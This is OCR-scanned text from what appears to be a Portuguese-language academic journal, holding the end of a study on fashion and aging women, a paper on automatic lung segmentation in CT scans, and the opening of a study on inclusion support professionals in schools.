reflexdes para o campo da moda realizam o seguinte questionamento: “Como o campo da
moda, cuja dinamica basica de funcionamento gira em torno do conceito de juventude, pode
contribuir para a tarefa de pensar e propor espagos e imagens que correspondam as diferentgs
possibilidades de envelhecer?

A partir desta indagacao, pretendemos discutir ou possibilitar reflexdes sobre ¢ en-
. No

velhecimento e suas diferentes faces e relagdes como forma de colaborar com o deba

que tange a este estudo propomos pensar a relagao entre moda e envelhecimento a partir de




2 UMA CONVERSA
SOBRE, ESTILO, MODA
ATURIDADE

algumas questoes, sendo elas: Em que momento a mulher madura percebe a necessidade de
alterar o seu modo de vestir? Qual relacéo pode ser estabelecida entre alteragdes no modo de
vestir e uma padronizagao da roupa como um demarcador de envelhecimento?

Utilizamos a técnica da entrevista em profundidade ja que esta € uma técnica qualitativa
que explora determinado assunto a partir da busca de informagdes, percepgdes, memorias e
experiéncias das pessoas entrevistadas.

Para o propésito deste estudo selecionamos duas entrevistas, sendo assim, € impor-
tante ressaltar que trabalhamos com “fragmentos” que servem para instigar a discussao de
um tema ainda pouco explorado que € a moda e a sua relagao com o envelhecimento. Desta
forma, as reflexdes apresentadas neste trabalho sdo um exercicio de problematizagao do tema
e busca trazer a tona questoes atuais que ainda carecem de subsidios para um debate mais

amplo das tematicas relacionadas.

Foram entrevistadas duas mulheres: Ana, de 66 anos e Beatriz, de 70 anos (nomes
ficticios) e ambas residem em Sao Leopoldo/RS.

Alinterlocucdo com as entrevistadas iniciou com a seguinte pergunta: Como vocé defini-
ria seu estilo? Beatriz disse que seu estilo € “pratico”, que ela explica que vem da combinac¢go
de calcas e bermudas e algumas blusas, comentando o fato de ter somente dois vestidos.
Contraditoriamente, Ana hesitou bastante para responder a pergunta, dizendo que nao gabia
explicar direito, mas concluiu que possui um “estilo proprio”, pois nunca prestou muita atencao

do que esta na moda e o que ela veste € criagao de sua cabeca dela.




O que chamou atencao nesta primeira questao foi que ambas estavam vestindo roupas
muito similares, mesmo uma dizendo que nao ligava para o que estava na moda e a outra as-
sumindo sua praticidade, o que reforca a ideia de que as roupas significam coisas diferentes
para diferentes pessoas e que todos recebem uma grande quantidade de informacéao por dia
e o0 conjunto de tudo isso € que vai, mesmo inconscientemente, influenciar suas decisdes na
maneira de vestir.

Para Barnard (2003, p.128) as “palavras e imagens terdo associacoes, ou conotagdes,
diferentes para pessoas diferentes [...]". Para o autor, toda roupa € uma representagéo e tem
um significado que pode estar relacionado a uma emocao, uma ideia ou uma pessoa. Assim,
o0 que uma mulher absorve e entende de uma composigao de roupas pode ser completamente
diferente da outra devido ao simples fato de ndo serem a mesma pessoa.

Quando perguntadas sobre os critérios utilizados na escolha de uma roupa, Beatriz
afirma que o que a faz escolher uma peca ou uma composicao € “evitar parecer ridicula”, e
exemplifica com bom humor: “eu ja sou grande, entdo ndo vou usar uma manga morcego!
Senao levanto os bracos e saio voando!”

A partir destas afirmagdes podemos concluir que nem todas as mulheres maduras es-

tao preocupadas com o que dita a moda, mesmo havendo um cuidado de Beatriz com o “nédo

parecer ridicula”, que esta muito mais relacionado com o preconceito de idade do que co
a aparéncia do vestuario. Goldenberg (2008), em pesquisa realizada sobre corpo, envelhgci-
mento e felicidade com mulheres brasileiras, informa que elas estdo muito preocupadag em

“

nao parecerem ‘“ridiculas” atraves de comportamentos e roupas de jovens, para a autor




uma cultura em que o corpo € um capital, 0 processo de envelhecimento pode ser vivido como
um momento de grandes perdas, especialmente de capital fisico” (p.31).

Segundo Hall (2000), somos a somatoéria de inumeras mudancgas e experimentagoes,
assim, podemos dizer que 0 senso de estilo € o que engloba todas as preferéncias e as nocoes
que esta pessoa tem sobre seu corpo e as leva em consideracao na hora de fazer escolhas
de moda. O que cada uma das entrevistadas leva mais em consideragcao na hora de escolher
0 que vestir mostra como lidam com as roupas e como estas refletem seus valores pessoais.

Quando questionadas se achavam que seu estilo de vestir havia mudado com a che-
gada da maturidade, ambas disseram que nao, mas Ana tem duvidas em relagdo a se vestir
adequadamente para sua idade e Beatriz comentou que depois de completar 50 anos foi se
tornando mais “na dela”.

Quando foram questionadas sobre qual teria sido o0 /ook inesquecivel da vida delas,
ambas relembraram vestidos de festa que usaram em ocasides importantes. Beatriz conta que
alugou um vestido para um casamento, de uma cor entre o azul e o verde escuro, de alcinha e
de cetim liso e brilhoso. O diferencial era uma pega, feita com um tecido fluido e com transpa-
réncia, que ficava sobre os ombros e presa com um broche. Ela lembra que se sentiu incrivel
e “chiquérrima”.

Estas tambéem foram as palavras de Ana descrevendo seu vestido verde agua, cujo
tecido foi comprado depois de meses de economia e foi confeccionado so6 para seu deleit
que nao havia nenhuma ocasiao especial para usa-lo. Ana diz que quis confecciona-lo “mgsmo

que fosse so para se olhar no espelho em casa!”




A memoria, segundo Le Goff (1984), € um elemento essencial do que se costuma cha-
mar identidade e cuja busca é uma das atividades fundamentais dos individuos, o que perce-
bemos nas rememoracoes de Ana quando menciona um vestido do passado.

“Olha, eu acho que foi nos meus 15 anos. Meu pai determinava regras rigidas para a
costureira — que era sobrinha dele -, como o comprimento do vestido, mas ela ficou com pena
de mim, pois achou que o vestido estava longo demais e fez uma faixa pra gente poder subir o
comprimento! Era um vestido muito bonito. Eu nunca esqueci. E 0 meu pai nunca ficou saben-
do!”. A costureira, segundo a entrevistada, sentia pena dela e das mulheres da sua familia, ja
que foram para escola somente para aprender a assinar seus proprios nomes.

As palavras veiculadas a uma memoria nos remete a Motta (2012) ao afirmar que os
avancos do feminismo, ja desde a década de 1970, transformam o modo com que as mulhe-
res velhas se veem e como sao vistas. Segundo a autora, a maioria destas mulheres se sente
muito mais livre e satisfeita hoje do que quando eram jovens e nao podiam fazer nada do que
desejavam.

Este € um sentimento muito comum entre as “novas velhas” da sociedade atual, pois
aquelas que nao tinham um pai severo, provavelmente se depararam com barreiras ao casar

ou ainda de algum outro membro da familia que tolhia sua liberdade. Porém, agora, libertas

desses vinculos, elas percebem as novas oportunidades e as possibilidades de outro cenari
0 que se evidencia no final das entrevistas, quando perguntadas sobre as perspectivas/de
suas vidas.

Um fato que chamou a nossa atengéo € que ambas assinalam o orgulho e a relacdo que

mantém com suas netas e demonstram uma grande preocupacao para que as coisas [sejam




3 CONSIDERACOES
FINAIS

diferentes com elas. Segundo elas, o mais importante € que as netas nao se sintam presas ou
limitadas em relacado ao seu estilo de vestir. Para isso, trocam experiéncias e até mesmo rou-
pas. Ana menciona que sua neta, que tem vinte anos, ja usou varias de suas pecas de roupa
em ocasides especiais como “um casaquinho de renda muito bonito que € um dos que ela mais
gosta”. Da mesma forma, Beatriz se preocupa em apoiar as netas na busca pela liberdade e
individualidade no vestir.

Por terem vivido o que viveram, as avos se colocam na posicao das netas e imaginam
como seriam suas vidas se tivessem tido as mesmas oportunidades que as netas tém. Por outro
lado, observamos que as geracdes mais jovens desenvolvem um olhar de admiragao, inspira-

cao, referéncia e reconhecimento pelos seus avos.

A partir desses depoimentos observamos que, assim como a memoria, as roupas tém
0 poder de carregar historias e podem transmitir sentimentos. As pecas contém lembrancas,
expressdes e resquicios das pessoas que as usam. O sentimento de realizacao e alegria na
rememoracao de determinada vestimenta demonstra o quanto uma peca de vestuario é capaz

de trazer a tona histérias de vida com suas alegrias, tristezas, enfim, acionar as sensibilidades

inerentes ao ser humano.

Nesse sentido, a historia e a memoria tambéem estao ligadas as roupas. Em meagdos
do século XV as roupas eram deixadas em testamento e aqueles que as herdavam, recepiam
mais do que um bem material, pois a roupa carregava a memoria de quem as confiou/ Para

Stallybrass (2012), a conexao entre a roupa e a memoria € abrangente e a sociedade mdderna




se caracteriza como uma “sociedade de roupas” porque 0s objetos materiais sao cobertos de
significados emblematicos que de certa maneira corporificam as relagdes sociais. A roupa,
portanto, esta associada com a memoria ou € um tipo de memoria. Quando a pessoa esta au-
sente, ou morre, a roupa absorve sua presencga ausente (STALLYBRASS, 2012).

O modo como as mulheres se sentem em relacao ao seu envelhecimento e como pro-
cessam isso atraves da indumentaria, difere muito de pessoa para pessoa. Pode se identificar
mulheres maduras que sofrem com o envelhecimento, ja, outras, atravessam a barreira dos
sessenta anos e sentem-se livres de uma bagagem pesada de obrigacoes e cobrancas que as
vinham acompanhando em diferentes momentos de sua vida.

Percebemos que as mudancas que acompanham o envelhecimento estdo muito rela-
cionadas com a maneira com que estas mulheres se vestem. As mulheres que tem seu estilo
alterado drasticamente, ndo sao necessariamente vitimas das opressoes e expectativas da so-
ciedade para a mulher velha, mas sim usam dessa forga imposta sobre elas para se libertarem
dos muitos ideais e paradigmas que elas mesmas nao sentiam mais ou que nunca chegaram
a fazer parte da sua personalidade.

Observamos que as vestimentas constituem indicadores sutis de como o passado é

representado no presente em relacéo a personalidade e a memoaria de um individuo, ou seja

relaciona temporalidades. No caso das mulheres, a memoria implica na maneira com que estas
vivem hoje e repassa uma imagem para as geracoes seguintes e o estilo pode ser entendido
como um deposito de significados decorrentes da identidade pessoal muitas vezes fragmgnta-

da, construida e reconstruida incessantemente.




A forma de se vestir diz muito sobre uma pessoa. As mulheres maduras nasceram numa
sociedade muito diferente da atual e isto € um influenciador direto da maneira com que elas
vao se relacionar com a moda. O estilo é a juncao de todas as experiéncias de uma pessoa € é
resultado da maneira pela qual esta pessoa absorve e processa essas experiéncias. Portanto,
o estilo pessoal esta em constante processo de adaptagao.

O experimento leva as mulheres maduras a uma analise dos seus conceitos de estilo.
Atraves de um exercicio de autocritica e de retrospectiva aos tempos passados, as mulheres
puderam observar como a roupa carrega significado, e como um periodo e época estabele-
ce e modifica padrdes estéticos. Também é notavel como estas mulheres refletem sobre seu
processo de amadurecimento de estilo, onde se vé a mudanca dos significados e de suas
escolhas baseados em suas prioridades e situacao de vida atual.

Ao pensarmos sobre a relacao entre moda e a mulher madura, intencionamos neste estu-
do trazer a tona a percepg¢ao, mesmo que limitada, dos proprios atores sociais, ou seja, Beatriz
e Ana que mesmo com diferengas sociais e econdmicas, fazem parte de uma mesma geracao,
suas experiéncias e trajetorias nao foram as mesmas e possuem singularidades proprias, no
entanto, ao envelhecer, ao se tornarem mulheres maduras, seus corpos sao vistos sem distingao,

s&o corpos velhos e porisso, a eles nem tudo € permitido. Em uma sociedade que ainda privile-

gia a juventude e marginaliza seus velhos, Beatriz e Ana estao se saindo muito bem.
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A Tomografia Computadorizada (TC) recebe destaque dentre os exames que podem servir
de apoio a decisdo médica. A anallse manual, ou semi-manual, deste tipo de exame pode
apresentar falhas, uma vez que depende da experiéncia, do conhecimento e do tempo
que o profissional tem disponivel para realizar o procedimento. Este artigo apresenta um
modelo, que utiliza diferentes técnicas de Processamento Digital de Imagens (PDI), que po-
dem auxiliar na delimitacao de estruturas anatomicas a partir de exames de TC, apoiando 0
responsavel pela avaliacao na tomada de decisao. O caso apresentado aborda o processo
de segmentacdo automatica dos pulmades. Para tanto, sao descritos os algoritmos utilizados
e 0 desenvolvimento da ferramenta, além da etapa de validacao e um comparativo dos
resultados obtidos pelo protétipo em relacdo a trabalhos encontrados na literatura.
Palavras-chave: Segmentacao dos pulmdes. Tomografia computadorizada. Processamento
digital de imagens. Informética médica.

BSTRAC

The Computed Tomography is one of the tests used to support medical decision. The
manual, or semi-manual, analysis of this type of exam can fail because it depends on the
experience, knowledge and time that the professional has available to perform the pro-
cedure. This paper presents a model, using different digital image processing techniques,
which can assist in the delineation process of anatomical structures from CT scans, helping
the evaluator in the decision-making. The study approaches the automatic segmentation
process of the lungs. Thus, the algorithm used and the development tool are described,
along with the validation step and a comparison of the results obtained by the prototype
in relation to other works found in literature.

Keywords: Lungs segmentation. Computed tomography. Digital image processing. Medical
informatics.




INTRODUCAO

Quanto mais cedo um problema de salde € detectado, menores s&o as consequéncias
do mesmo e maiores sdo as chances de cura. Por essa razao, € muito importante para as pes-
soas que doencas e outras questoes relacionadas a saude sejam identificadas precocemente.
Isso pode ser alcancado atraves de consultas médicas, exames e diagndsticos precisos.

Uma das principais ferramentas de auxilio ao diagnoéstico para os meédicos sao 0s exa-
mes com imagens, pois fornecem uma visao interna dos tecidos do corpo sem a necessidade
de intervencgoes invasivas como, por exemplo, a exploracao operatoria.

Gunderman (2007) informa que o tipo de exame por imagem mais utilizado é o radiolo-
gico. A Tomografia Computadorizada, ou TC, faz parte desse grupo de exames. As imagens
que compoem uma TC possuem alta resolucao espacial e bons niveis de contraste, apresen-
tando cortes horizontais do corpo humano sem sobreposicéo dos 0rgaos e estruturas presen-
tes em cada regigo (NOVELLINE, 1999).

O padrao de arquivos utilizado nos exames de TC € o DICOM. Alem dos dados corres-
pondentes as imagens, esse formato de arquivo pode conter ainda informacodes do paciente,
do médico, configuractes do tomografo, dados do local de execugédo do exame, entre outros
atributos (NEMA, 2015).

Conforme citado anteriormente, a TC apresenta todas as estruturas anatémicas conti-
das na regiao examinada. Em diversos casos, somente um tipo de tecido é relevante para/o
profissional que esta avaliando o exame. Essa delimitacao de regides de interesse € den
nada segmentacao (CONCI; AZEVEDO; LETA, 2008). Com a reducdo da area que o médico

precisara analisar € possivel que o risco de um diagnostico impreciso seja reduzido.
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Figura 1 — Histograma de coeficientes de atenuagao da fatia
Fonte: LEADER et al., 2003

O objetivo deste estudo é apresentar uma proposta de
segmentacdo automatica dos pulmdes em imagens de TC do
torax. Esse método tem como base dois trabalhos correlatos: o
modelo de Leader et al. (2003) e 0 modelo de Brown et al. (2000).

Os tecidos do corpo possuem niveis diferentes de ate-
nuacéo de raios X. A partir disso, Leader et al. (2003) propu-
seram uma maneira de determinar o coeficiente de atenuacéo
dos pulmodes de forma dinamica, com base no histograma.
Cada uma das fatias que formam o exame € processada in-
dividualmente. Inicialmente, a imagem passa por um pré-pro-
cessamento, onde sao eliminados eventuais ruidos e alguns
elementos irrelevantes para o processo. E, entdo, gerado o his-
tograma da imagem, apresentado na Figura 1.

O histograma gerado apresenta, usualmente, dois valo-
res de pico: -900 HU, que representa tecido pulmonar e -200
HU, que foi determinado empiricamente como o valor dos pixels

de fundo da imagem. O valor de limiar, que identifica os pul-

maoes, € determinado pelo coeficiente que aparece o menor nj-
mero de vezes dentro do intervalo existente entre os dois picos
citados. Apos a aplicacao do limiar, a imagem resultante passa

por algumas etapas de refinamento e o processo € finalizado.




2 DESENVOLVIMENTO

Ja o sistema de Brown et al. (2000) utiliza um modelo anatémico definido por um grupo
de meédicos, permitindo, em conjunto com técnicas de processamento digital de imagens e um
motor de dedugao, a definicao de forma, tamanho e posicao de cada uma das estruturas que
compdem o térax.

A partir do estudo da anatomia do torax, das caracteristicas de exames de tomografia
computadorizada, do formato de arquivos DICOM, em conjunto com o que foi apresentado nos
trabalhos correlatos e do estudo de técnicas de processamento digital de imagens, foi possivel
propor e implementar um método para segmentacao automatica dos pulmdes. Os passos do

algoritmo e a sequéncia em que eles ocorrem sao detalhados na secao a seguir.

O método de segmentagao automatica dos pulmodes proposto no presente artigo esta
exposto na Figura 2. O mesmo e dividido em diversas etapas que sao executadas, sequencial-
mente, em cada uma das imagens que formam o exame.

Os pixels que formam as imagens de TC apresentam o coeficiente de atenuacédo do
tecido que esta sendo representado. Essa escala tem seu valor mais baixo representando o
ar, que ¢ igual a -1000 HU (Hounsfield Unit). Ja o valor mais alto € +3000 HU, que representa
0ssos com alta densidade. O valor de referéncia é a agua, cujo coeficiente € 0 HU (STIMA
1994). Nas etapas iniciais, o processamento € feito com base nos valores originais de HU. Apds
a aplicacao do limiar de segmentacao, passam a ser utilizados os valores binarios de ¢ada

pixel. Todas as etapas utilizam, como entrada, a saida da etapa anterior.
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Figura 2 — Diagrama de etapas do método proposto
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2.1 CONVERSAO DE VALORES

A primeira parte do modelo proposto consiste na identificagdo e conversao de pixels

que podem estar com valores invalidos de coeficientes de atenuacao. Isso pode ocorrer devido,

principalmente, ao formato circular do tomografo, que € o aparelho utilizado na obtencao das
imagens. Os pixels sao percorridos e aqueles cujo valor esteja acima de +4000 HU s&o converti-
dos para -1000 HU. O valor -1000 HU corresponde ao coeficiente de atenuacao do ar (STIMAC,
1994), representando o fundo da imagem. A imagem A da Figura 3 apresenta a fatia do exame

que sera processada. Ja a imagem B, da mesma figura, € o resultado da conversao de valores.

2.2 REMOCAO DEF RUIDOS

Em seu trabalho, Leader et al. (2003) indicaram que é necessario passar a imagem por

um filtro Gaussiano caso a fatia em processamento tenha espessura inferior a 5mm, utilizando
um kernel de tamanho 5 e desvio-padrao igual a 1,76. A finalidade da aplicagdo desse filtro

remover eventuais ruidos que podem existir (BANKMAN, 2000). Conforme Pedrini e Schwartz

(2008), quanto maior for o kernel do filtro Gaussiano, maior sera o nivel de suavizagéo e menor

a nitidez da imagem resultante.

2.3 DEFINICAO DO CONTORNO DO TORAX

A definicao do limiar de segmentacao dos pulmoes ¢ feita a partir do histograma/um
grafico que quantifica o numero de pixels da imagem que correspondem a cada pogsivel

valor que um ponto pode assumir (GONZALEZ; WOODS, 2010). Por essa razao, & imp
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diferenciar os pixels de fundo da imagem dos pixels dos pulmdes, pois ambos estéo na faixa
de coeficientes de atenuagao do ar. Para isso, séo feitas quatro operagdes na matriz de coefi-
cientes: da direita para a esquerda, da esquerda para a direita, de baixo para cima e de cima

para baixo. Em cada uma dessas operacoes, o0 pixel corrente é testado. Se o seu valor estiver

abaixo de -200 HU, o valor ¢ alterado para -200 HU. Se for encontrado um pixel/ com valor aci-
ma de -200 HU, o processamento passa para a proxima linha, no processamento horizontal, ou
para a proxima coluna, no processamento vertical. O resultado dessa etapa € apresentado na

imagem C da Figura 3.

2.4 DEFINICAO E APLICACAO DO LIMIAR DE SEGMENTACAO

Apos diferenciar os pixels correspondentes aos pulmoes e os pixels que contém ar e

pertencem ao fundo da imagem, o histograma & gerado. O limiar de segmentacao dos pulmoes
sera o coeficiente que ocorre o0 menor numero de vezes entre os valores -1000 HU e -200 HU
(LEADER et al., 2003). A limiarizagédo consiste na aplicagéo do valor de limiar em cada pixe/

da imagem (CONCI; AZEVEDO; LETA, 2008). Se o ponto analisado estiver sendo representado

por um valor que esta abaixo do limiar, 0 mesmo € alterado para branco (tecido pulmonar). Se
o valor estiver acima, € alterado para preto (fundo da imagem). A imagem resultante é exibida

na Figura 3, imagem D.

2.5 REMOCAO DE OBJETOS DA REGIAQ INFERIOR

Podem existir outros elementos na imagem que contém ar, além do fundo da imagem e

dos pulmdes. Isso pode ser percebido na imagem D da Figura 3, onde a mesa do tomografo




aparece na cor branca (abaixo dos pulmdes). Para remover esse, e outros possiveis objetos que
podem existir na regido inferior, cada linha a partir da metade da imagem é percorrida, do lado
direito para o lado esquerdo. Se for encontrada uma linha onde todos os pixels pertencem ao
fundo da imagem (pontos pretos), todas as linhas que estéo abaixo da linha analisada s&o consi-

deradas também como fundo da imagem. A imagem E da Figura 3 exibe o resultado desta etapa.

2.6 ROTULACAO E DIMENSIONAMENTO

Dos objetos restantes na imagem, os dois maiores representam os pulmoes. Para deter-
minar quais sao eles, cada elemento da imagem € identificado e tem seu tamanho calculado.
A imagem ¢ percorrida e o primeiro pixel branco localizado é considerado uma semente para

o crescimento de regides. Os vizinhos do pixel semente sdo avaliados, e cada um que corres-

ponde ao mesmo objeto recebe um rétulo igual ao da semente. Além de ser rotulado, o pixel
identificado também passa a ser considerado uma semente e dispara o algoritmo novamente,
de maneira recursiva. Ao finalizar a execucao, todos os objetos estao rotulados. E feita entdo

a contagem de pontos com cada um dos rotulos, e os dois maiores encontrados sao conside-

rados os pulmoes.

2.7 SEPARACAQ DOS PULMOES

Eventualmente, o modelo reconhece os pulmdes como conectados. Quando isso ogor-
re, € necessario separar os pulmoes direito e esquerdo, corrigindo o resultado da segmenta-
céo. Essas estruturas séo consideradas conectadas quando pelo menos 30% do maior objeto

estiver ocupando a metade direita da imagem e pelo menos 30% a metade esquerda.



Figura 8 —\imagem inicial do processo (A), imagens resultantes de cada uma das eta-
pas (B, C, D e E) e imagem final com os pulmdes identificados (F)
Fonte: do autor

A separacao dos pulmdes € iniciada com a busca do
trecho de corte. Cada coluna da imagem é percorrida de forma
individual, e os pontos pertencentes ao objeto sao quantifica-
dos. Isso € feito a partir do pixel central horizontal da imagem,
40 pixels para cada lado. Sao quantificados apenas 0s pontos
da metade superior da imagem. Ao final, a coluna com o me-
nor numero de pixels pertencentes ao objeto € convertida para

fundo da imagem, separando assim os pulmaes.

A Ultima etapa do processo consiste em determinar
qual é o pulmao direito e qual € o esquerdo. Para isso, a ima-
gem € percorrida de cima para baixo, a partir do lado esquer-
do em direcao ao lado direito. Ao encontrar o primeiro pixel
pertencente a um objeto, este € considerado parte do pulmao
esquerdo. Todos o0s pixels que tém o mesmo rotulo que o ponto
localizado séao considerados pertencentes ao pulmao esquer-
do. Os demais pertencem ao pulméao direito. As estruturds

identificadas estao destacadas na imagem F da Figura 3.



RESUI_TADOS Apos o término do processamento é disponibilizada uma interface de uso (Figura 4),
permitindo ao usuario percorrer todas as fatias que formam o exame de TC. Em cada uma das

fatias & possivel ativar ou desativar o destaque dos pulmoes. A partir dessas opgoes, 0 ope-

rador tem a possibilidade de avaliar se as regioes delimitadas pelo prototipo correspondem

efetivamente aos pulmoes.

|d:| Segmentagio automitica de Grgies em exames de TC = o x
Arguive Socbre

Acquiva: 000004, dam

Fatia: 1/1

Espessura: 2.5mm

Coordenadac: 340, 334

Valor am HU: 320

Walor RIGB: 0, 255, 0

Puim&a esquerda: 26240 pixels

PulmBo dirsito: 15542 pixels

Mivel de Jancla (WL 0 [ Puimio esquerdo
Larguea de jansls (WW) 1500 o] Fudmfic direitd]
Templates Pulmbes w

Figura 4 — Interface de uso do protétipo
Fonte: do autor
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Para validar a eficacia do meétodo, seguindo o procedimento descrito anteriormente,
foram utilizados 5 exames de TC do térax, obtidos através do diretorio de imagens The Cancer

Imaging Archive. Ao todo, 569 imagens foram revisadas e os resultados sao apresentados na

Tabela 1.
Tabela 1 — Resultados da validagéo e comparagdo com outros métodos
Prototipo desenvolvido Leader et al. (2003) Brown et al. (2000)
Total de imagens 569 4131 1313
Acertos 537 3925 1130
Erros 32 205 183
Percentual de acerto 94,38% 95,04% 86,06%

Fonte: do autor

Além dos resultados obtidos pelo protétipo desenvolvido, séo apresentados os resulta-
dos descritos nos dois trabalhos citados na introdugao, que foram utilizados como base para

esta pesquisa.

As falhas na segmentacao dos pulmdes foram causadas, principalmente, por trés fato-
res: descontinuidade de regides pertencentes a um mesmo pulmao; pequena espessura do te-
cido que separa os pulmoes das vias aéreas; uniao dos pulmoes nao detectada, ou separada

erroneamente. A Tabela 2 demonstra alguns casos de falha.



Tabela 2 — Causas dos erros

Exame Fatia Imagem original Imagem segmentada
ExameO1 1 | ' I
| |

Causa A dimensdo do pulméo esquerdo é menor que a dimensdo da traqueia.

©f

Exame02 38

O algoritmo que separa os pulmdes faz a divisdo de forma vertical, e nessa fatia os pulmdes devem ser sepa-

Causa h
rados na diagonal.

Fonte: do Autor



Tabela 2 — Causas dos erros

Exame Fatia Imagem original Imagem segmentada

Exame04 45

A espessura do tecido que separa o pulmado esquerdo e o bronquio esquerdo é muito pequena, ndo sendo

Causa . )
suficiente para diferenciar essas estruturas.

Exame05 185

Causa

A regido do pulmdo esquerdo foi separada em duas partes, de modo que o protédtipo identificou apenas a /
maior.

Fonte: do autor




CONCLUSAO O uso de exames por imagem, especificamente a Tomografia Computadorizada, para
analise de ¢érgaos e estruturas anatdbmicas tem se tornado cada vez mais comum, sendo uma
das principais ferramentas de apoio ao diagnostico. A computacao pode contribuir para me-

Ihorar a avaliagcao dos mesmos, reduzindo o tempo necessario e aumentando a acuracia deste

processo. Nesta linha, o objetivo principal deste trabalho foi a construgao de um prototipo
capaz de segmentar automaticamente os pulmoes, reduzindo a regiao que o medico ou es-
pecialista necessita avaliar. Para alcancar esse objetivo, € fundamental conhecer em detalhes
a anatomia do toérax, o uso de exames medicos por imagem e as técnicas de processamento
digital de imagens que podem contribuir com esse proposito.

As estruturas destacadas pelo protétipo foram, em sua grande maioria, apresentadas

corretamente. Conforme citado anteriormente, 94,38% das imagens foram segmentadas com

sucesso.
A partir das imagens para as quais 0 processo nao foi executado conforme o esperado,
foi estabelecida uma tabela das falhas e suas respectivas causas, permitindo que sejam de-

senvolvidas maneiras de solucionar as mesmas, aumentando a taxa de acertos do processo.

O proximo passo para a confirmagao da eficacia do método proposto € a validagao do
mesmo por um médico, ou grupo de medicos, especialistas, que possuam um alto nivel de co-
nhecimento e possam determinar, com confiabilidade, se os resultados providos pela técniga

estabelecida podem ser utilizados efetivamente em ambientes reais e praticos.
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Um terceiro personagem surge no cendrio escolar, mais especificamente, na sala de aula: o profissional de apoio
a inclusdo. Este profissional aparece em funcdo de um constante aumento de alunos incluidos no ensino reqular
e, comeca a trabalhar na sala de aula junto ao professor. Que mudancas esse cendrio trouxe a escola? Como o
professor vé este outro num espaco que era s6 seu? Este novo personagem qualifica o processo de ensino-apren-
dizagem do aluno com deficiéncia? Sao algumas das questoes levantadas que motivaram a busca de respostas
e na perspectiva de respondé-las, o estudo centra a discussao no profissional de apoio como possibilidade de
qualificar os processos de aprendizagem de alunos com deficiéncia. Aborda a legislacdo e as politicas publicas
vigentes sobre inclusdo e discute os conceitos de deficiéncia, diferenca e necessidades especiais, investigando
3 importancia do profissional de apoio em sala de aula. Para tanto, recorre-se d pesquisa exploratdria, com
abordagem qualitativa e realiza-se uma pesquisa de campo com base em entrevistas semiestruturadas, com
professoras e profissionais de apoio, bem como uma andlise documental do Projeto Politico Pedagdgico das
escolas pesquisadas.

Palavras-chave: Inclusao. Deficiéncia e aprendizagem. Profissional de apoio.

ABSTRACT

A third character appears in the school scene, specifically in the classroom: the supporting professional for inclu-
sion. This professional appears due to an increasing number of students included in the reqular school and starts
to work in the classroom along with the teacher. Which changes has this scene brought to school? How does the
teachers see this other professional in their own workspace? Does this new character qualify the teaching-learning
process of the disabled student? Those are some of the questions, which motivated the demand for answers.
Under this perspective, this study focus the discussion in the supporting professional as a possibility to qualify the
learning processes of the disabled students. It approaches the legislation and the current public policies about
inclusion and discuss the concepts of disability, difference and special needs, investigating the importance of
the supporting professional in the classroom. For this purpose, it was used a qualitative, applied and exploratory
research and it was also made a field research based on semi structure interviews with teachers and supporting
professionals, as well as a document analysis of the Political Pedagogical Project of the researched schools.
Keywords: Inclusion. Disability and Learning. Supporting Professional.




INTRODUCAO A sala de aula foi composta, durante muito tempo, pelo professor e pelos alunos. Com
as mudancgas na legislacéo, tendo em vista as novas formas de perceber as diferengas e as
necessidades especiais a partir de cenarios (re)significados por uma série de lutas protago-

nizadas tanto pela sociedade civil como pelos Estados, inclusive em ambito internacional, ela

comegou a ser ocupada por novas personagens.

Se antes, até fins do século XX, 0s alunos, que eram considerados fora do padrao nor-
mal, estudavam em classes especiais, hoje, com uma escola para todos, esses alunos estudam
em classes regulares, com o apoio de novos profissionais.

Assim, as novas personagens que passam a entrar na sala de aula séo profissionais
que, de acordo com 0 que preveem a legislacao e as politicas publicas demandadas por elas,

vieram para auxiliar e dar um apoio aos alunos com deficiéncia, com o intuito de qualificar o

trabalho do professor em favor desse aluno que, sem um atendimento especializado, voltado
a auxilia-lo em sua necessidade especifica, passou por desacreditado por muitas decadas e,
consequentemente, excluido da sociedade, principalmente no que toca as questoes do desen-

volvimento de sua autonomia, seja atraves da possivel participagao no mundo do trabalho, seja

através da participagao no mundo social, artistico-cultural e politico.

Dentro desse contexto, com o objetivo de investigar a importancia do trabalho do pro-
fissional de apoio em sala de aula com alunos com deficiéncia, levantou-se a seguinte questg
objeto do presente estudo: o profissional de apoio qualifica os processos de aprendizagem/de
alunos com deficiéncia?

E, para dar conta deste objetivo, optou-se pela realizacao de uma pesquisa explorato-

ria, que permite uma visao de diferentes angulos de um mesmo assunto, visando criar “uma




maior familiaridade em relacao a um fato ou fenébmeno”, envolvendo levantamento bibliografico
e entrevistas semiestruturadas (SANTOS, 2000, p. 26).
As entrevistas foram delineadas com base nas seguintes categorias: garantia de qua-

lidade no processo de aprendizagem dos alunos com deficiéncia; a necessidade de critica

e revisao da pratica em sala de aula; a crise de papeis entre os profissionais envolvidos e a
interagao com o grupo como um todo.

A investigacao ocorreu em duas escolas da rede municipal e numa escola da rede es-
tadual de dois municipios do Vale dos Sinos/RS, ambas de Ensino Fundamental, com profissio-
nais que atuam com alunos com deficiéncia, inclusos na rede regular de ensino, e também por
meio da analise do PPP (Projeto Politico Pedagogico) de cada uma das escolas com o intuito

de observar 0 que e como abordam a incluséo. E, para garantir o anonimato, preservando ao

maximo possivel sua identidade, os profissionais participantes da pesquisa sao identificados,
ao longo da analise dos dados, como professora A e apoio AX da Escola A; professora B e
apoio BX da Escola B; e professora C e apoio CX da Escola C.

Com os dados obtidos no campo, fez-se uma analise de conteido com base em Gomes
(2007, p. 84), procurando “caminhar na descoberta do que esta por tras dos contetdos mani-

festos, indo além das aparéncias do que esta sendo comunicado”.




FORMACAO
PRATICAS DO

PROFISSIONAL DE
APOIO

Auxiliar de incluséo, professor de apoio, apoio a inclusdo — sdo nomenclaturas utilizadas
para profissionais que trabalham com alunos com deficiéncia. Mantoan (2006) mostra que a
inclusao so acontece quando toda a escola esta envolvida. Em suas palavras: “Temos que sa-
ber aonde queremos chegar. Para isso, é importante que fique claro que nao existe o0 caminho
a ser seguido, mas caminhos a escolher, decisoes a tomar. E escolher € sempre correr riscos”
(MANTOAN, 2006, p. 11).

Seres tdo sensiveis e cheios de conhecimentos, com vontade enorme de participar das
aulas, nao podem ser taxados como alunos que nada sabem. O desafio € grande, o assunto
precisa ser mais debatido com todos juntos, ja que se constatou que os PPPs analisados nao
trazem algo concreto sobre o qual os professores possam se guiar. Denari (2006, p. 42) lembra
que “é dever da escola fundamental, comum, atentar para a diversidade do seu alunado e
ajustar o seu projeto politico pedagogico”.

Os PPPs analisados mostram a realidade da situacao. A escola A, que ja tem uma histo-
